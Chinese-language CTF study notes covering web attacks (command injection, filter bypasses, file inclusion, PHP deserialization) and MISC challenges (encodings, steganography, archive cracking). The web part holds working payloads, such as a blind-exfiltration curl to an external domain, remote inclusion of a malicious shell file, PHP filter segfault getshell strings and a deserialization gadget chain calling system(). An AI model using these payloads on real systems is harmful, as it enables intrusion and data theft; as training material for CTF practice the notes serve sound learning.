WEB
信息收集、爆破、认证
1.敏感文件泄露
- a.robots.txt
- b.www.zip
- c./.git
2.dirsearch\dirb\
3.BURP
- a.登录框->admin密码【登录获取flag】
- b.给一个字典,爆出普通用户密码,登录后,有些权限验证方法
- c.Cookie->user改为admin
- d.JWT验证
- i.修改算法
- ii.算法改为None,none
- iii.爆破密钥
- iv.删除signature,删除签名
命令执行
1.成因
- a.system(‘ping -c xxx $ip’)
- b.ping -c 4 192.168.0.1
- c.ping -c 4 asdasd| whoami
2.分隔符
- a.| &
- i.前一条执行结果当作下一条命令的参数 cat xxx | grep xxx
- ii.前一条挂后台执行,直接执行下一条 ping -c 20 127.0.0.1 & ls
- iii.[+] PID
- iv.ls执行结果输出
- v.xxxx ttl=xxxx
- b.|| &&
- i.|| 前一条执行失败则执行下一条 ping -c 4 asdadasd || ls
- ii.&& 前一条执行成功则执行下一条 ping -c 4 127.0.0.1 && ls
- c.><
- i.>将标准输出流重定向到指定位置
- ii.<将标准输入流重定向到指定位置
- iii.nc -lnvp 7777 > 1.txt 【起一个监听,将监听到的内容输出到某个文件中】
- iv.nc 127.0.0.1 7777 < 2.txt 【连接到127.0.0.1:7777并将2.txt文本作为输入】
- v.0 1 2
- 1.标准输入流 ls whoami pwd
- 2.标准输出流 执行结果、信息一般是标准输出流
- 3.标准错误流 ping -c 4 asdasdasd > 2.txt
- d.; %0a
- i.都是标识命令的结束符,ls;pwd;whoami
3.读文件
- a.cat /flag
- b.head tail
- i.head -n 20 /flag 读文件头20行
- ii.tail -n 20 /flag 从文件尾部读取20行
- c.less more
- i.分页读取文件
- d.paste strings
- i.paste file1 file2
- e.base64
- i.base64 /flag
- ii.base64 /etc/passwd | base64 -d 解码base64内容
- f.diff file1 file2
- g.xxd -
4.绕过过滤
- a.ca’’t /fl’’ag
- b.x=ag;cat fl$x;
- c.x=fl;y=ag;cat ${fl}${ag} cat ${x}ag
- d./???/????64 /????123 【/bin/base64 /flag123】
- e.cat /fl?? cat /f* 【cat /flag】
- f.c\a\t /f\la\g
- g../assdasd/asdasda/asdasdasd/asdassdasd/asdad/flag
- i.长度限制15字符
- ii.grep -r “flag” 【循环遍历当前目录下所有目录及文件找到flag】
5.空格过滤
- a.%0b 垂直换行符
- b.%0c 换页符
- c.%09 制表符
- d.%a0 硬空格
- e.%20 普通空格
- f.${IFS} cat${IFS}/flag cat$IFS$7flag
6.无回显
- a.cat /flag > 1.txt 【/var/www/html】 直接访问1.txt
- b.curl http://外部域名?cmd=
ls|base64
【burp collaborator生成域名】
代码执行
1.原因
- a.eval($_GET[1])
- b.将用户输入的内容当成PHP代码进行解析
2.利用
- a.phpinfo();
- b.system(‘ls’);
3.一些过滤
- a.只能用特殊符号但是不能用数字字母 【取反命令执行】
- i.~phpinfo; 【取反】
- ii.urlencode(~”phpinfo”); 【取反后url编码】
- iii.~urldecode(“取反并编码后的内容”)();
- b.异或命令执行
- i.
- i.
文件包含
1.本地文件包含 /etc/passwd /etc/mysql/my.cnf 【读取配置文件查看服务配置信息】
2.远程文件包含 http://恶意域名/shell.txt 【包含远程恶意文件】
3.伪协议
- a.php://filter/read=convert.base64-encode/resource=xxxx.php
- b.php://data/text/plain,
- c.data://text/plain,直接输入文本信息 file_get_contents($_GET[1])
- d.1=data://text/plain,hello world
- e.data:,
4.SESSION文件包含
- a.>https://www.codenong.com/cs106498971/
- b./tmp/sess_xxxxxxx 上传文件,upload_progress 并手动定义了PHPSESID
- c.上传文件的内容就会临时包含在/tmp/sess_xxxxxx ,如果此时包含该sess文件并且上传的文件中有php代码,那么就会导致代码执行
5.PHP7 segment fault
- a.
- b. 段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录
- c. 向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
- d.
- e. php代码中使用
php://filter的strip_tags
过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。 - f.
- g. php<7.2版本用如下payload:
- h.
- i.
http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd
- j.
- k. php7老版本通杀:
- l.
- m.
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
- n.
- o. 这种 包含 会导致php执行过程中出现segment fault,此时 上传文件,临时文件会被保存在
upload_tmp_dir
所指定的目录下,不会被删除,这样就能达成getshell的目的。
6.日志包含
- a./var/log/access.log
- b./var/log/apache2/access.log
- c./var/log/nginx/access.log
- d.mysql日志
- e.ssh日志
反序列化
1.序列化
- a.原本的数据格式不适合直接传输存储
- b.经过一系列规则转化为固定格式的字符串进行保存
- c.serialize
- d.b:1
- i:12
- s:5:”name1”
- array(“a”=>”111”,”b”=>123);
- a:2:{s:1:”a”;s:3:”111”;s:1:”b”;i:123;}
- O:4:”user”:2:{s:4:”name”;s:8:”zhangsan”;* s:2:”id”;s:3:”007”;}
2.反序列化
- a.经过规则将固定格式的字符串还原为原先的数据格式
- b.unserialize(序列化后的字符串)
- c.魔术方法
- i.phpinfo();
- ii.user->hello();
- iii.魔术方法:满足一定条件,自动触发
1
2
3
4
5
6
7
8
9
10
11__construct: 在创建对象时候初始化对象,一般用 于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用 完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一 个数组)
__wakeup:将在反序列化之后立即被调用,反序列化恢 复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方 法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty ()触发
__unset()在不可访问的属性上使用unset()时触发
__invoke() 将对象当作函数来使用的时候,会自动调 用该方法,用“unset()”函数删除对象内部的私有成员 属性时,对象会自动调用__unset()函数来帮我们删除 对象内部的私有成员属性。
__get()如果试图读取一个对象并不存在的属性的 时候,PHP就会给出错误信息。如果在类里添加 __get方法,并且我们可以用这个函数实现类似 java中反射的各种操作。 - iv.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32class cat{
public paw;
public name;
function bark(){
echo "meow";
}
function __destruct(){
echo $this->name;
}
function __toString(){
$a=$this->paw;
$a();
}
function __invoke(){
eval($this->name);
}
}
$x=new cat;
$x->name= new cat;
$x->name->paw= new cat;
$x->name->paw->name="system('ls');";
echo urlecode(serialize($x));
MISC
随波逐流
编码
16 hex ecode
base64
base32
base家族其他编码
凯撒
栅栏
维吉尼亚
猪圈
键盘
敲击码
space编程
社会主义核心价值观编码
佛曰
各种各样的编码
图片
1.jpg
- a.F5
- b.jsteg隐写
2.png
- a.IHDR IDAT IEND
- b.IHDR隐藏信息
- c.IDAT图片数据块的覆盖,需要上下移动数据块显示对应内容
- d.会有个别数据块大小突兀,删除其他数据块显示真实数据
- e.文件末尾提取
- f.LSB隐写
- i.255,255,255 0xFFFFFF
- ii.0101010110101
- iii.stegsolve
- g.zsteg -a xxx.png
- h.exiftools
- i.stegsolve
- i.
- ii.发现图像各个通道平移了,用这个模块移动回去
3.gif
* a.stegsolve frame browser
4.其他工具
* a.steghide 加密码隐写
* b.silenteye 加密隐写
音频
1.audacity
- a.波形图隐写
- i.摩斯电码 010110,低高低高高低
- b.频谱图隐写
- i.查看声道频谱图发现画出的flag
- ii.更新最新的audacity
视频
1.potplayer
- a.逐帧查看视频,某些关键帧隐藏了flag内容或者提示信息
- b.闪烁:黑白黑白,类似gif,二进制信息,01010000,提取之后用其他编码手段还原信息
2.其他
- a.视频也会隐藏描述信息,010editor能够看到
压缩包
1.伪加密
2.密码爆破
- a.ARCHPR进行密码爆破
- b.zip2john >1.hash john 1.hash
- c.rar2john
3.CRC爆破
4.明文攻击
5.随波逐流都有
文档
1.word
- a.改为压缩包,从中查找隐藏信息
- b.宏编程,vbs
- c.脚本文件可能自带密码,找一些在线的word密码解密工具
- d.vbs工程解密工具
2.excel
- a.excel有加密,找在线解密
3.pdf
- a.pdf2john > 1.hash john pdf.hash